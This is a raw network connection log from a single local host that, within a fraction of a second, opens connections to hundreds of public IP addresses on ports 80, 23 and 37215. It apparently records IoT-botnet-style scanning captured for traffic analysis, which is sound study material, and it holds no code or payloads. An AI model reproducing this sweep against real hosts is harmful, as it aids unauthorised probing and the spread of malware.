Dec 3, 2024 22:02:04.029290915 CET	39296	80	192.168.2.14	199.144.196.39
Dec 3, 2024 22:02:04.029290915 CET	39296	80	192.168.2.14	44.122.74.244
Dec 3, 2024 22:02:04.029295921 CET	80	39296	93.47.55.220	192.168.2.14
Dec 3, 2024 22:02:04.029306889 CET	80	39296	18.112.98.27	192.168.2.14
Dec 3, 2024 22:02:04.029315948 CET	80	39296	198.212.68.69	192.168.2.14
Dec 3, 2024 22:02:04.029325008 CET	39296	80	192.168.2.14	2.66.91.134
Dec 3, 2024 22:02:04.029325008 CET	39296	80	192.168.2.14	93.47.55.220
Dec 3, 2024 22:02:04.029326916 CET	80	39296	185.188.215.253	192.168.2.14
Dec 3, 2024 22:02:04.029336929 CET	80	39296	5.247.37.118	192.168.2.14
Dec 3, 2024 22:02:04.029341936 CET	39296	80	192.168.2.14	18.112.98.27
Dec 3, 2024 22:02:04.029350042 CET	39296	80	192.168.2.14	198.212.68.69
Dec 3, 2024 22:02:04.029367924 CET	39296	80	192.168.2.14	185.188.215.253
Dec 3, 2024 22:02:04.029383898 CET	80	39296	57.191.144.175	192.168.2.14
Dec 3, 2024 22:02:04.029383898 CET	39296	80	192.168.2.14	5.247.37.118
Dec 3, 2024 22:02:04.029395103 CET	80	39296	79.170.133.116	192.168.2.14
Dec 3, 2024 22:02:04.029405117 CET	80	39296	46.144.210.85	192.168.2.14
Dec 3, 2024 22:02:04.029414892 CET	80	39296	120.243.91.245	192.168.2.14
Dec 3, 2024 22:02:04.029424906 CET	39296	80	192.168.2.14	57.191.144.175
Dec 3, 2024 22:02:04.029424906 CET	39296	80	192.168.2.14	79.170.133.116
Dec 3, 2024 22:02:04.029424906 CET	80	39296	71.56.234.92	192.168.2.14
Dec 3, 2024 22:02:04.029436111 CET	80	39296	222.244.100.80	192.168.2.14
Dec 3, 2024 22:02:04.029447079 CET	80	39296	27.30.146.2	192.168.2.14
Dec 3, 2024 22:02:04.029447079 CET	39296	80	192.168.2.14	46.144.210.85
Dec 3, 2024 22:02:04.029447079 CET	39296	80	192.168.2.14	120.243.91.245
Dec 3, 2024 22:02:04.029458046 CET	80	39296	42.182.65.179	192.168.2.14
Dec 3, 2024 22:02:04.029468060 CET	39296	80	192.168.2.14	27.30.146.2
Dec 3, 2024 22:02:04.029473066 CET	39296	80	192.168.2.14	71.56.234.92
Dec 3, 2024 22:02:04.029473066 CET	80	39296	153.65.121.5	192.168.2.14
Dec 3, 2024 22:02:04.029473066 CET	39296	80	192.168.2.14	222.244.100.80
Dec 3, 2024 22:02:04.029488087 CET	80	39296	64.28.171.0	192.168.2.14
Dec 3, 2024 22:02:04.029500008 CET	39296	80	192.168.2.14	42.182.65.179
Dec 3, 2024 22:02:04.029500008 CET	39296	80	192.168.2.14	153.65.121.5
Dec 3, 2024 22:02:04.029503107 CET	80	39296	116.230.207.99	192.168.2.14
Dec 3, 2024 22:02:04.029516935 CET	80	39296	85.122.192.250	192.168.2.14
Dec 3, 2024 22:02:04.029525995 CET	39296	80	192.168.2.14	116.230.207.99
Dec 3, 2024 22:02:04.029527903 CET	39296	80	192.168.2.14	64.28.171.0
Dec 3, 2024 22:02:04.029552937 CET	39296	80	192.168.2.14	85.122.192.250
Dec 3, 2024 22:02:04.029560089 CET	80	39296	124.187.170.176	192.168.2.14
Dec 3, 2024 22:02:04.029571056 CET	80	39296	67.122.14.87	192.168.2.14
Dec 3, 2024 22:02:04.029594898 CET	39296	80	192.168.2.14	124.187.170.176
Dec 3, 2024 22:02:04.029594898 CET	39296	80	192.168.2.14	67.122.14.87
Dec 3, 2024 22:02:04.033303022 CET	80	45584	100.186.253.107	192.168.2.14
Dec 3, 2024 22:02:04.033353090 CET	45584	80	192.168.2.14	100.186.253.107
Dec 3, 2024 22:02:04.033888102 CET	50426	80	192.168.2.14	197.136.135.192
Dec 3, 2024 22:02:04.034423113 CET	48768	80	192.168.2.14	220.43.80.1
Dec 3, 2024 22:02:04.034926891 CET	43720	80	192.168.2.14	13.161.131.22
Dec 3, 2024 22:02:04.035463095 CET	54106	80	192.168.2.14	149.250.7.242
Dec 3, 2024 22:02:04.035976887 CET	59194	80	192.168.2.14	86.124.165.253
Dec 3, 2024 22:02:04.036531925 CET	40264	80	192.168.2.14	68.105.40.66
Dec 3, 2024 22:02:04.037053108 CET	43620	80	192.168.2.14	20.35.75.252
Dec 3, 2024 22:02:04.037594080 CET	59766	80	192.168.2.14	186.103.200.154
Dec 3, 2024 22:02:04.038089991 CET	54390	80	192.168.2.14	205.253.138.238
Dec 3, 2024 22:02:04.038649082 CET	41054	80	192.168.2.14	90.146.94.112
Dec 3, 2024 22:02:04.039169073 CET	37122	80	192.168.2.14	31.154.194.45
Dec 3, 2024 22:02:04.039715052 CET	43082	80	192.168.2.14	12.155.148.111
Dec 3, 2024 22:02:04.040254116 CET	36808	80	192.168.2.14	180.111.197.220
Dec 3, 2024 22:02:04.040796041 CET	54890	80	192.168.2.14	49.180.199.91
Dec 3, 2024 22:02:04.041297913 CET	33976	80	192.168.2.14	194.3.119.244
Dec 3, 2024 22:02:04.041384935 CET	44300	37215	192.168.2.14	41.52.89.148
Dec 3, 2024 22:02:04.041384935 CET	53800	37215	192.168.2.14	156.65.17.105
Dec 3, 2024 22:02:04.041384935 CET	55454	37215	192.168.2.14	156.247.110.96
Dec 3, 2024 22:02:04.041384935 CET	58410	37215	192.168.2.14	197.45.49.70
Dec 3, 2024 22:02:04.041393995 CET	39768	37215	192.168.2.14	41.169.49.210
Dec 3, 2024 22:02:04.041393995 CET	40602	37215	192.168.2.14	197.127.184.231
Dec 3, 2024 22:02:04.041397095 CET	60886	37215	192.168.2.14	156.233.121.125
Dec 3, 2024 22:02:04.041397095 CET	34508	37215	192.168.2.14	41.204.234.62
Dec 3, 2024 22:02:04.041400909 CET	37048	37215	192.168.2.14	41.137.28.215
Dec 3, 2024 22:02:04.041400909 CET	55902	37215	192.168.2.14	197.71.132.97
Dec 3, 2024 22:02:04.041400909 CET	33284	37215	192.168.2.14	41.221.7.205
Dec 3, 2024 22:02:04.041402102 CET	40570	37215	192.168.2.14	197.158.210.226
Dec 3, 2024 22:02:04.041402102 CET	60898	23	192.168.2.14	120.44.162.106
Dec 3, 2024 22:02:04.041402102 CET	41414	23	192.168.2.14	37.110.33.41
Dec 3, 2024 22:02:04.041409969 CET	34390	23	192.168.2.14	42.239.28.216
Dec 3, 2024 22:02:04.041424990 CET	36404	23	192.168.2.14	60.241.179.239
Dec 3, 2024 22:02:04.041424990 CET	57420	23	192.168.2.14	111.208.105.182
Dec 3, 2024 22:02:04.041429996 CET	45300	23	192.168.2.14	150.110.243.151
Dec 3, 2024 22:02:04.041429996 CET	41068	23	192.168.2.14	115.44.115.201
Dec 3, 2024 22:02:04.041434050 CET	38904	23	192.168.2.14	31.254.18.225
Dec 3, 2024 22:02:04.041434050 CET	60640	23	192.168.2.14	182.112.23.245
Dec 3, 2024 22:02:04.041440010 CET	60252	23	192.168.2.14	50.23.168.94
Dec 3, 2024 22:02:04.041450977 CET	47624	23	192.168.2.14	155.214.134.11
Dec 3, 2024 22:02:04.041450977 CET	52970	23	192.168.2.14	124.66.203.218
Dec 3, 2024 22:02:04.041455984 CET	33182	23	192.168.2.14	66.115.118.77
Dec 3, 2024 22:02:04.041465044 CET	48888	23	192.168.2.14	73.137.1.150
Dec 3, 2024 22:02:04.041465044 CET	42716	23	192.168.2.14	25.223.63.176
Dec 3, 2024 22:02:04.041485071 CET	39190	23	192.168.2.14	85.188.158.213
Dec 3, 2024 22:02:04.041485071 CET	50052	23	192.168.2.14	57.77.79.213
Dec 3, 2024 22:02:04.041891098 CET	54360	80	192.168.2.14	106.191.70.70
Dec 3, 2024 22:02:04.042402983 CET	39618	80	192.168.2.14	84.18.193.185
Dec 3, 2024 22:02:04.042968035 CET	34730	80	192.168.2.14	129.125.175.170
Dec 3, 2024 22:02:04.043519974 CET	41744	80	192.168.2.14	45.28.33.123
Dec 3, 2024 22:02:04.044105053 CET	52066	80	192.168.2.14	218.163.6.206
Dec 3, 2024 22:02:04.044641018 CET	33856	80	192.168.2.14	164.132.95.172
Dec 3, 2024 22:02:04.045161009 CET	49394	80	192.168.2.14	36.241.29.66
Dec 3, 2024 22:02:04.045732021 CET	55962	80	192.168.2.14	72.243.203.46
Dec 3, 2024 22:02:04.046283007 CET	60190	80	192.168.2.14	62.250.5.2
Dec 3, 2024 22:02:04.046813965 CET	55850	80	192.168.2.14	223.56.226.226
Dec 3, 2024 22:02:04.047333956 CET	57128	80	192.168.2.14	8.73.108.228
Dec 3, 2024 22:02:04.047874928 CET	50338	80	192.168.2.14	167.62.82.131
Dec 3, 2024 22:02:04.048393965 CET	60226	80	192.168.2.14	89.98.95.53
Dec 3, 2024 22:02:04.048918009 CET	46742	80	192.168.2.14	212.188.14.62
Dec 3, 2024 22:02:04.049464941 CET	33014	80	192.168.2.14	195.185.183.91
Dec 3, 2024 22:02:04.050030947 CET	58720	80	192.168.2.14	207.50.163.240
Dec 3, 2024 22:02:04.050584078 CET	40904	80	192.168.2.14	48.32.166.226
Dec 3, 2024 22:02:04.051095009 CET	43084	80	192.168.2.14	203.231.182.115
Dec 3, 2024 22:02:04.051652908 CET	38984	80	192.168.2.14	167.218.38.29
Dec 3, 2024 22:02:04.052155972 CET	51388	80	192.168.2.14	157.42.76.182
Dec 3, 2024 22:02:04.052683115 CET	33454	80	192.168.2.14	149.204.115.19
Dec 3, 2024 22:02:04.053224087 CET	54492	80	192.168.2.14	160.21.32.85
Dec 3, 2024 22:02:04.053742886 CET	41500	80	192.168.2.14	133.133.165.240
Dec 3, 2024 22:02:04.054260015 CET	60328	80	192.168.2.14	120.27.40.11
Dec 3, 2024 22:02:04.054811954 CET	33810	80	192.168.2.14	223.131.159.194
Dec 3, 2024 22:02:04.055362940 CET	34666	80	192.168.2.14	166.74.103.249
Dec 3, 2024 22:02:04.055892944 CET	55334	80	192.168.2.14	41.3.202.197
Dec 3, 2024 22:02:04.056385040 CET	39376	80	192.168.2.14	150.169.126.146
Dec 3, 2024 22:02:04.056894064 CET	59690	80	192.168.2.14	69.234.220.201
Dec 3, 2024 22:02:04.057434082 CET	45746	80	192.168.2.14	66.135.164.211
Dec 3, 2024 22:02:04.057960033 CET	34708	80	192.168.2.14	83.66.176.9
Dec 3, 2024 22:02:04.058497906 CET	58604	80	192.168.2.14	199.144.196.39
Dec 3, 2024 22:02:04.058979034 CET	51406	80	192.168.2.14	44.122.74.244
Dec 3, 2024 22:02:04.059513092 CET	58040	80	192.168.2.14	2.66.91.134
Dec 3, 2024 22:02:04.060050011 CET	56516	80	192.168.2.14	93.47.55.220
Dec 3, 2024 22:02:04.060682058 CET	46456	80	192.168.2.14	18.112.98.27
Dec 3, 2024 22:02:04.061238050 CET	37514	80	192.168.2.14	198.212.68.69
Dec 3, 2024 22:02:04.061753988 CET	46614	80	192.168.2.14	185.188.215.253
Dec 3, 2024 22:02:04.062275887 CET	43712	80	192.168.2.14	5.247.37.118
Dec 3, 2024 22:02:04.062846899 CET	46508	80	192.168.2.14	57.191.144.175
Dec 3, 2024 22:02:04.063374996 CET	50438	80	192.168.2.14	79.170.133.116
Dec 3, 2024 22:02:04.063903093 CET	37528	80	192.168.2.14	46.144.210.85
Dec 3, 2024 22:02:04.064439058 CET	54168	80	192.168.2.14	120.243.91.245
Dec 3, 2024 22:02:04.064984083 CET	47960	80	192.168.2.14	71.56.234.92
Dec 3, 2024 22:02:04.065362930 CET	37215	45242	197.240.251.151	192.168.2.14
Dec 3, 2024 22:02:04.065407038 CET	45242	37215	192.168.2.14	197.240.251.151
Dec 3, 2024 22:02:04.065448046 CET	37215	36932	197.17.118.166	192.168.2.14
Dec 3, 2024 22:02:04.065458059 CET	37215	60416	156.117.49.107	192.168.2.14
Dec 3, 2024 22:02:04.065491915 CET	36932	37215	192.168.2.14	197.17.118.166
Dec 3, 2024 22:02:04.065536976 CET	40832	37215	192.168.2.14	197.83.36.51
Dec 3, 2024 22:02:04.065536976 CET	40832	37215	192.168.2.14	197.57.192.3
Dec 3, 2024 22:02:04.065538883 CET	40832	37215	192.168.2.14	197.140.179.205
Dec 3, 2024 22:02:04.065551996 CET	40832	37215	192.168.2.14	41.228.244.15
Dec 3, 2024 22:02:04.065551996 CET	60416	37215	192.168.2.14	156.117.49.107
Dec 3, 2024 22:02:04.065558910 CET	40832	37215	192.168.2.14	156.75.61.168
Dec 3, 2024 22:02:04.065560102 CET	40832	37215	192.168.2.14	41.221.11.115
Dec 3, 2024 22:02:04.065560102 CET	40832	37215	192.168.2.14	156.23.117.178
Dec 3, 2024 22:02:04.065562010 CET	40832	37215	192.168.2.14	197.232.249.210
Dec 3, 2024 22:02:04.065565109 CET	40832	37215	192.168.2.14	156.45.44.14
Dec 3, 2024 22:02:04.065566063 CET	40832	37215	192.168.2.14	41.130.1.109
Dec 3, 2024 22:02:04.065566063 CET	40832	37215	192.168.2.14	41.126.168.173
Dec 3, 2024 22:02:04.065567970 CET	40832	37215	192.168.2.14	197.255.243.91
Dec 3, 2024 22:02:04.065598011 CET	40832	37215	192.168.2.14	156.244.159.17
Dec 3, 2024 22:02:04.065599918 CET	40832	37215	192.168.2.14	156.130.165.182
Dec 3, 2024 22:02:04.065607071 CET	40832	37215	192.168.2.14	156.36.15.202
Dec 3, 2024 22:02:04.065612078 CET	40832	37215	192.168.2.14	156.46.205.151
Dec 3, 2024 22:02:04.065623045 CET	40832	37215	192.168.2.14	197.158.88.136
Dec 3, 2024 22:02:04.065634012 CET	40832	37215	192.168.2.14	41.64.56.113
Dec 3, 2024 22:02:04.065634012 CET	40832	37215	192.168.2.14	197.195.189.129
Dec 3, 2024 22:02:04.065634966 CET	40832	37215	192.168.2.14	41.94.193.188
Dec 3, 2024 22:02:04.065635920 CET	40832	37215	192.168.2.14	41.238.236.96
Dec 3, 2024 22:02:04.065637112 CET	40832	37215	192.168.2.14	197.187.191.211
Dec 3, 2024 22:02:04.065644979 CET	40832	37215	192.168.2.14	156.179.4.216
Dec 3, 2024 22:02:04.065658092 CET	40832	37215	192.168.2.14	197.155.209.90
Dec 3, 2024 22:02:04.065658092 CET	40832	37215	192.168.2.14	156.34.230.85
Dec 3, 2024 22:02:04.065664053 CET	40832	37215	192.168.2.14	156.193.181.181
Dec 3, 2024 22:02:04.065676928 CET	40832	37215	192.168.2.14	156.244.245.135
Dec 3, 2024 22:02:04.065677881 CET	40832	37215	192.168.2.14	197.71.215.186
Dec 3, 2024 22:02:04.065679073 CET	40832	37215	192.168.2.14	197.55.159.164
Dec 3, 2024 22:02:04.065684080 CET	40832	37215	192.168.2.14	41.204.144.225
Dec 3, 2024 22:02:04.065684080 CET	40832	37215	192.168.2.14	41.165.162.99
Dec 3, 2024 22:02:04.065699100 CET	40832	37215	192.168.2.14	197.172.64.49
Dec 3, 2024 22:02:04.065706015 CET	40832	37215	192.168.2.14	156.124.61.164
Dec 3, 2024 22:02:04.065710068 CET	40832	37215	192.168.2.14	197.222.186.249
Dec 3, 2024 22:02:04.065710068 CET	40832	37215	192.168.2.14	156.7.242.25
Dec 3, 2024 22:02:04.065722942 CET	40832	37215	192.168.2.14	41.52.214.13
Dec 3, 2024 22:02:04.065725088 CET	40832	37215	192.168.2.14	197.199.88.12
Dec 3, 2024 22:02:04.065728903 CET	40832	37215	192.168.2.14	41.212.203.231
Dec 3, 2024 22:02:04.065742970 CET	40832	37215	192.168.2.14	41.245.211.229
Dec 3, 2024 22:02:04.065747023 CET	40832	37215	192.168.2.14	197.241.221.69
Dec 3, 2024 22:02:04.065747023 CET	40832	37215	192.168.2.14	156.223.72.34
Dec 3, 2024 22:02:04.065762043 CET	40832	37215	192.168.2.14	197.148.39.172
Dec 3, 2024 22:02:04.065762997 CET	40832	37215	192.168.2.14	156.161.107.67
Dec 3, 2024 22:02:04.065762043 CET	40832	37215	192.168.2.14	197.185.158.252
Dec 3, 2024 22:02:04.065777063 CET	40832	37215	192.168.2.14	197.129.215.161
Dec 3, 2024 22:02:04.065782070 CET	40832	37215	192.168.2.14	197.9.173.122
Dec 3, 2024 22:02:04.065782070 CET	40832	37215	192.168.2.14	197.109.169.151
Dec 3, 2024 22:02:04.065793037 CET	40832	37215	192.168.2.14	156.47.152.172
Dec 3, 2024 22:02:04.065798998 CET	40832	37215	192.168.2.14	197.27.53.54
Dec 3, 2024 22:02:04.065812111 CET	40832	37215	192.168.2.14	41.91.186.218
Dec 3, 2024 22:02:04.065814018 CET	40832	37215	192.168.2.14	156.6.165.54
Dec 3, 2024 22:02:04.065821886 CET	40832	37215	192.168.2.14	41.15.70.231
Dec 3, 2024 22:02:04.065824986 CET	40832	37215	192.168.2.14	41.130.20.151
Dec 3, 2024 22:02:04.065829039 CET	40832	37215	192.168.2.14	197.127.214.197
Dec 3, 2024 22:02:04.065833092 CET	40832	37215	192.168.2.14	156.145.13.14
Dec 3, 2024 22:02:04.065833092 CET	40832	37215	192.168.2.14	156.71.20.125
Dec 3, 2024 22:02:04.065844059 CET	40832	37215	192.168.2.14	197.150.176.80
Dec 3, 2024 22:02:04.065846920 CET	40832	37215	192.168.2.14	41.91.50.234
Dec 3, 2024 22:02:04.065853119 CET	40832	37215	192.168.2.14	41.171.22.150
Dec 3, 2024 22:02:04.065853119 CET	40832	37215	192.168.2.14	41.185.191.159
Dec 3, 2024 22:02:04.065860987 CET	40832	37215	192.168.2.14	156.170.64.174
Dec 3, 2024 22:02:04.065869093 CET	40832	37215	192.168.2.14	197.118.111.111
Dec 3, 2024 22:02:04.065870047 CET	40832	37215	192.168.2.14	197.115.3.87
Dec 3, 2024 22:02:04.065869093 CET	40832	37215	192.168.2.14	41.195.95.21
Dec 3, 2024 22:02:04.065871000 CET	40832	37215	192.168.2.14	41.101.71.167
Dec 3, 2024 22:02:04.065871000 CET	40832	37215	192.168.2.14	197.226.133.55
Dec 3, 2024 22:02:04.065879107 CET	40832	37215	192.168.2.14	197.201.205.237
Dec 3, 2024 22:02:04.065891981 CET	40832	37215	192.168.2.14	156.210.99.162
Dec 3, 2024 22:02:04.065892935 CET	40832	37215	192.168.2.14	156.47.182.142
Dec 3, 2024 22:02:04.065892935 CET	40832	37215	192.168.2.14	197.54.52.213
Dec 3, 2024 22:02:04.065898895 CET	40832	37215	192.168.2.14	41.36.132.86
Dec 3, 2024 22:02:04.065906048 CET	40832	37215	192.168.2.14	156.67.38.207
Dec 3, 2024 22:02:04.065912008 CET	40832	37215	192.168.2.14	156.177.8.33
Dec 3, 2024 22:02:04.065921068 CET	40832	37215	192.168.2.14	197.103.12.20
Dec 3, 2024 22:02:04.065927029 CET	40832	37215	192.168.2.14	197.15.90.239
Dec 3, 2024 22:02:04.065927982 CET	40832	37215	192.168.2.14	197.155.227.228
Dec 3, 2024 22:02:04.065936089 CET	40832	37215	192.168.2.14	156.70.134.163
Dec 3, 2024 22:02:04.065958023 CET	40832	37215	192.168.2.14	41.66.98.198
Dec 3, 2024 22:02:04.065963030 CET	40832	37215	192.168.2.14	41.249.30.171
Dec 3, 2024 22:02:04.065963984 CET	40832	37215	192.168.2.14	197.247.65.241
Dec 3, 2024 22:02:04.065963984 CET	40832	37215	192.168.2.14	156.206.254.228
Dec 3, 2024 22:02:04.065967083 CET	40832	37215	192.168.2.14	197.102.115.79
Dec 3, 2024 22:02:04.065967083 CET	40832	37215	192.168.2.14	156.233.146.15
Dec 3, 2024 22:02:04.065979958 CET	40832	37215	192.168.2.14	41.141.208.28
Dec 3, 2024 22:02:04.065979958 CET	40832	37215	192.168.2.14	41.143.12.1
Dec 3, 2024 22:02:04.065984011 CET	40832	37215	192.168.2.14	197.222.114.88
Dec 3, 2024 22:02:04.065984011 CET	40832	37215	192.168.2.14	41.1.187.147
Dec 3, 2024 22:02:04.065993071 CET	40832	37215	192.168.2.14	156.38.177.92
Dec 3, 2024 22:02:04.066011906 CET	40832	37215	192.168.2.14	156.231.251.67
Dec 3, 2024 22:02:04.066011906 CET	40832	37215	192.168.2.14	41.245.9.247
Dec 3, 2024 22:02:04.066011906 CET	40832	37215	192.168.2.14	156.132.177.154
Dec 3, 2024 22:02:04.066019058 CET	40832	37215	192.168.2.14	41.126.105.200
Dec 3, 2024 22:02:04.066025019 CET	40832	37215	192.168.2.14	197.124.18.90
Dec 3, 2024 22:02:04.066032887 CET	40832	37215	192.168.2.14	156.29.159.199
Dec 3, 2024 22:02:04.066039085 CET	40832	37215	192.168.2.14	41.206.92.34
Dec 3, 2024 22:02:04.066039085 CET	40832	37215	192.168.2.14	197.161.177.175
Dec 3, 2024 22:02:04.066052914 CET	40832	37215	192.168.2.14	156.92.141.120
Dec 3, 2024 22:02:04.066055059 CET	40832	37215	192.168.2.14	41.47.107.94
Dec 3, 2024 22:02:04.066056967 CET	40832	37215	192.168.2.14	197.2.91.227
Dec 3, 2024 22:02:04.066070080 CET	40832	37215	192.168.2.14	41.68.104.30
Dec 3, 2024 22:02:04.066076994 CET	40832	37215	192.168.2.14	156.230.188.126
Dec 3, 2024 22:02:04.066085100 CET	40832	37215	192.168.2.14	197.69.2.22
Dec 3, 2024 22:02:04.066085100 CET	40832	37215	192.168.2.14	41.224.219.119
Dec 3, 2024 22:02:04.066087961 CET	40832	37215	192.168.2.14	156.77.248.184
Dec 3, 2024 22:02:04.066087961 CET	40832	37215	192.168.2.14	156.25.49.143
Dec 3, 2024 22:02:04.066092968 CET	40832	37215	192.168.2.14	156.95.124.235
Dec 3, 2024 22:02:04.066092968 CET	40832	37215	192.168.2.14	41.234.91.104
Dec 3, 2024 22:02:04.066092968 CET	40832	37215	192.168.2.14	41.224.122.155
Dec 3, 2024 22:02:04.066096067 CET	40832	37215	192.168.2.14	197.87.106.222
Dec 3, 2024 22:02:04.066101074 CET	40832	37215	192.168.2.14	41.141.229.188
Dec 3, 2024 22:02:04.066107988 CET	40832	37215	192.168.2.14	197.126.78.158
Dec 3, 2024 22:02:04.066117048 CET	40832	37215	192.168.2.14	156.45.39.125
Dec 3, 2024 22:02:04.066117048 CET	40832	37215	192.168.2.14	41.87.249.36
Dec 3, 2024 22:02:04.066133976 CET	40832	37215	192.168.2.14	156.207.95.2
Dec 3, 2024 22:02:04.066133976 CET	40832	37215	192.168.2.14	156.172.45.146
Dec 3, 2024 22:02:04.066138029 CET	40832	37215	192.168.2.14	197.37.55.167
Dec 3, 2024 22:02:04.066138029 CET	40832	37215	192.168.2.14	156.34.90.34
Dec 3, 2024 22:02:04.066138029 CET	40832	37215	192.168.2.14	156.160.85.212
Dec 3, 2024 22:02:04.066139936 CET	40832	37215	192.168.2.14	41.219.166.3
Dec 3, 2024 22:02:04.066144943 CET	40832	37215	192.168.2.14	197.119.16.142
Dec 3, 2024 22:02:04.066150904 CET	40832	37215	192.168.2.14	197.3.23.248
Dec 3, 2024 22:02:04.066153049 CET	40832	37215	192.168.2.14	41.205.53.120
Dec 3, 2024 22:02:04.066159010 CET	40832	37215	192.168.2.14	197.132.58.201
Dec 3, 2024 22:02:04.066163063 CET	40832	37215	192.168.2.14	41.187.230.176
Dec 3, 2024 22:02:04.066174030 CET	40832	37215	192.168.2.14	197.141.234.225
Dec 3, 2024 22:02:04.066183090 CET	40832	37215	192.168.2.14	156.148.83.21
Dec 3, 2024 22:02:04.066186905 CET	40832	37215	192.168.2.14	197.251.81.71
Dec 3, 2024 22:02:04.066195965 CET	40832	37215	192.168.2.14	156.57.169.119
Dec 3, 2024 22:02:04.066195965 CET	40832	37215	192.168.2.14	41.7.145.17
Dec 3, 2024 22:02:04.066203117 CET	40832	37215	192.168.2.14	197.207.255.153
Dec 3, 2024 22:02:04.066205025 CET	40832	37215	192.168.2.14	197.211.34.194
Dec 3, 2024 22:02:04.066214085 CET	40832	37215	192.168.2.14	156.4.251.242
Dec 3, 2024 22:02:04.066215992 CET	40832	37215	192.168.2.14	41.251.23.49
Dec 3, 2024 22:02:04.066217899 CET	40832	37215	192.168.2.14	41.97.16.183
Dec 3, 2024 22:02:04.066217899 CET	40832	37215	192.168.2.14	156.172.194.70
Dec 3, 2024 22:02:04.066224098 CET	40832	37215	192.168.2.14	41.230.158.188
Dec 3, 2024 22:02:04.066234112 CET	40832	37215	192.168.2.14	41.50.57.239
Dec 3, 2024 22:02:04.066260099 CET	40832	37215	192.168.2.14	41.145.57.4
Dec 3, 2024 22:02:04.066260099 CET	40832	37215	192.168.2.14	156.183.83.181
Dec 3, 2024 22:02:04.066260099 CET	40832	37215	192.168.2.14	197.9.180.39
Dec 3, 2024 22:02:04.066261053 CET	40832	37215	192.168.2.14	197.57.65.127
Dec 3, 2024 22:02:04.066273928 CET	40832	37215	192.168.2.14	197.178.154.108
Dec 3, 2024 22:02:04.066274881 CET	40832	37215	192.168.2.14	41.241.92.142
Dec 3, 2024 22:02:04.066277981 CET	40832	37215	192.168.2.14	41.244.95.140
Dec 3, 2024 22:02:04.066277981 CET	40832	37215	192.168.2.14	197.77.222.222
Dec 3, 2024 22:02:04.066287994 CET	40832	37215	192.168.2.14	41.92.250.10
Dec 3, 2024 22:02:04.066299915 CET	40832	37215	192.168.2.14	197.16.48.5
Dec 3, 2024 22:02:04.066301107 CET	40832	37215	192.168.2.14	41.80.155.234
Dec 3, 2024 22:02:04.066308022 CET	40832	37215	192.168.2.14	197.148.0.187
Dec 3, 2024 22:02:04.066312075 CET	40832	37215	192.168.2.14	41.122.248.201
Dec 3, 2024 22:02:04.066312075 CET	40832	37215	192.168.2.14	156.79.236.109
Dec 3, 2024 22:02:04.066314936 CET	40832	37215	192.168.2.14	197.192.73.87
Dec 3, 2024 22:02:04.066323996 CET	40832	37215	192.168.2.14	156.30.35.75
Dec 3, 2024 22:02:04.066330910 CET	40832	37215	192.168.2.14	41.123.241.206
Dec 3, 2024 22:02:04.066337109 CET	40832	37215	192.168.2.14	41.78.153.181
Dec 3, 2024 22:02:04.066349983 CET	40832	37215	192.168.2.14	197.148.66.190
Dec 3, 2024 22:02:04.066354036 CET	40832	37215	192.168.2.14	197.42.20.57
Dec 3, 2024 22:02:04.066354990 CET	40832	37215	192.168.2.14	197.79.121.229
Dec 3, 2024 22:02:04.066365957 CET	40832	37215	192.168.2.14	197.59.85.17
Dec 3, 2024 22:02:04.066369057 CET	40832	37215	192.168.2.14	197.44.249.17
Dec 3, 2024 22:02:04.066373110 CET	40832	37215	192.168.2.14	41.140.236.2
Dec 3, 2024 22:02:04.066382885 CET	40832	37215	192.168.2.14	156.38.139.185
Dec 3, 2024 22:02:04.066397905 CET	40832	37215	192.168.2.14	197.130.102.31
Dec 3, 2024 22:02:04.066399097 CET	40832	37215	192.168.2.14	156.82.124.193
Dec 3, 2024 22:02:04.066400051 CET	40832	37215	192.168.2.14	41.32.109.235
Dec 3, 2024 22:02:04.066405058 CET	40832	37215	192.168.2.14	197.129.212.23
Dec 3, 2024 22:02:04.066405058 CET	40832	37215	192.168.2.14	197.202.139.81
Dec 3, 2024 22:02:04.066414118 CET	40832	37215	192.168.2.14	41.221.156.60
Dec 3, 2024 22:02:04.066428900 CET	40832	37215	192.168.2.14	156.201.63.146
Dec 3, 2024 22:02:04.066431999 CET	40832	37215	192.168.2.14	156.141.14.188
Dec 3, 2024 22:02:04.066437006 CET	40832	37215	192.168.2.14	156.109.103.102
Dec 3, 2024 22:02:04.066437006 CET	40832	37215	192.168.2.14	41.119.210.230
Dec 3, 2024 22:02:04.066445112 CET	40832	37215	192.168.2.14	197.23.68.66
Dec 3, 2024 22:02:04.066451073 CET	40832	37215	192.168.2.14	156.124.183.49
Dec 3, 2024 22:02:04.066458941 CET	40832	37215	192.168.2.14	197.213.27.177
Dec 3, 2024 22:02:04.066468000 CET	40832	37215	192.168.2.14	197.223.155.122
Dec 3, 2024 22:02:04.066468954 CET	40832	37215	192.168.2.14	197.56.91.46
Dec 3, 2024 22:02:04.066477060 CET	40832	37215	192.168.2.14	41.248.169.171
Dec 3, 2024 22:02:04.066478968 CET	40832	37215	192.168.2.14	197.129.154.40
Dec 3, 2024 22:02:04.066485882 CET	40832	37215	192.168.2.14	197.252.209.18
Dec 3, 2024 22:02:04.066485882 CET	40832	37215	192.168.2.14	41.240.230.139
Dec 3, 2024 22:02:04.066497087 CET	40832	37215	192.168.2.14	156.67.236.208
Dec 3, 2024 22:02:04.066498995 CET	40832	37215	192.168.2.14	156.125.182.42
Dec 3, 2024 22:02:04.066499949 CET	40832	37215	192.168.2.14	41.41.83.169
Dec 3, 2024 22:02:04.066507101 CET	40832	37215	192.168.2.14	41.98.220.66
Dec 3, 2024 22:02:04.066510916 CET	40832	37215	192.168.2.14	197.147.76.52
Dec 3, 2024 22:02:04.066520929 CET	40832	37215	192.168.2.14	197.221.252.223
Dec 3, 2024 22:02:04.066529989 CET	40832	37215	192.168.2.14	41.109.43.165
Dec 3, 2024 22:02:04.066533089 CET	40832	37215	192.168.2.14	156.33.234.13
Dec 3, 2024 22:02:04.066538095 CET	40832	37215	192.168.2.14	156.191.175.105
Dec 3, 2024 22:02:04.066540003 CET	40832	37215	192.168.2.14	156.174.5.83
Dec 3, 2024 22:02:04.066550016 CET	40832	37215	192.168.2.14	156.37.33.31
Dec 3, 2024 22:02:04.066559076 CET	40832	37215	192.168.2.14	197.198.35.150
Dec 3, 2024 22:02:04.066570044 CET	40832	37215	192.168.2.14	41.31.187.174
Dec 3, 2024 22:02:04.066570997 CET	40832	37215	192.168.2.14	41.148.125.69
Dec 3, 2024 22:02:04.066584110 CET	40832	37215	192.168.2.14	197.165.101.129
Dec 3, 2024 22:02:04.066586971 CET	40832	37215	192.168.2.14	156.109.184.60
Dec 3, 2024 22:02:04.066586971 CET	40832	37215	192.168.2.14	197.236.213.117
